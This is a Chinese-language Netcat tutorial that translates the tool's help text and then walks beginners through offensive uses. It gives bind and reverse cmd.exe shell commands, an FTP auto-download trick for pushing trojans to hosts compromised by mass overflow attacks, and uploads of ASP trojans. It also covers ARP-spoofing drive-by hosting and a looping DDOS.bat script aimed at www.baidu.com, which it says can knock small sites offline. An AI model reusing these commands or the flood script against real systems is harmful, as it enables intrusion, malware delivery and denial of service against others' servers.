动画介绍:NC介绍: NC全名为Netcat (网络刀),简称NC,作者:Hobbit&&ChrisWysopal。因为其功能十份强大,体积小巧 而出名,又被大家称为 "瑞士军刀"。
NC的使用:
在命令行下输入nc.exe -h就可以看到全部命令了。如下:
connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive]
为了方便菜鸟理解,我把参数翻译过来:
-h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p [空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w 数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时)
先讲讲一些简单的用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
高级用法:
nc -L -p 3389 做蜜罐,不停地监听3389端口 nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txt nc -L -p 3389<c:\ftp.txt 不停地监听3389端口,并把c:\ftp.txt中内容发给连接本端口的主 机,可起到传送文件作用.(此用法经常用于反向溢出) nc -l -p 2008 -t -e cmd.exe 绑定主机的cmd到2008端口,并以TELNET方式应答。 nc -t -e cmd.exe 192.168.0.2 555 绑定cmd反向连接192.168.0.2的555端口以TELNET方式应答。
组合用法:
1.溢出用: nc -L -p 8989<c:\ftp.txt (ftp.txt中为FTP自动下载命令) 效果:一但溢出的主机连接8989端口就会自动用FTP下载指定的文件,如木马.(此法经常用于批量溢出) 2.返回CMD SHELL用: 正向连接: 在远程主机上运行 nc -l -p 2008 -t -e cmd.exe 本机运行 nc -nvv 192.168.0.1 2008 连接成功就会返回一个CMD shell。(类似TELNET) 反向连接: 先在本机运行 nc -l -p 2008 在远程主机上运行 nc -t -e cmd.exe 192.168.0.2 2008 连接成功就会得到一个CMD shell。(类似TELNET) 3.上传文本 本机运行 nc -vv www.baidu.com 80<1.txt (此法经常用于上传ASP木马) 本机运行 nc -nvv 192.168.0.1 80<1.txt (向192.168.0.1发送1.txt中的内容)
本人自创用法和其他变态用法:
一.NC架设简单的HTTP服务器 本机运行 nc -l -p 80<index.htm (index.htm为主页文件) 注:此法只能架设简单的HTTP服务器,只有一个主页页面,多人访问还会假死。所以只能玩玩用。 (但是此法经常用于局域网ARP欺骗挂马架设简易HTTP) 二.利用NC进行DDOS轰炸 本机运行 nc -vv www.baidu.com 80<1.txt (1.txt中为垃圾信息) 可以简单的用一个批处理实现循环攻击 echo off color a :1 cls nc -vv www.baidu.com 80<1.txt goto 1 保存为DDOS.bat,运行即可. 注:此招攻击一些小型网站十分管用,尽管一台机器效果不明显,但是几十台同时运行每台又同时 运行N个,网站的IIS就会出错,甚至挂掉。 |